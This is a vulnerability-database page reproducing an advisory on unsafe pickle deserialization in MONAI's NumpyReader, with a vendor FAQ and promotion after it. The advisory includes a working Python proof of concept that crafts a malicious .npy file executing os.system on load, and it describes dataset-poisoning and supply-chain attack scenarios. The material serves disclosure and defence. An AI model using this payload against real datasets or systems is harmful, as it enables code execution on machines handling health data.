Vulnerability Database

413,619

Total vulnerabilities in the database

MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files — monai

Deserialization of Untrusted Data

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

  • torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
  • PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

  1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
  2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
  3. LoadImage selects NumpyReader based on file extension
  4. NumpyReader.read() calls np.load(name, allow_pickle=True)
  5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) # With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) # Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

  1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

  2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

  3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

  • Published: Aug 18, 2026
  • Updated: Aug 19, 2026
  • GHSA: GHSA-wg9g-w2j2-8pgr
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.8
  • AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Is monai exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.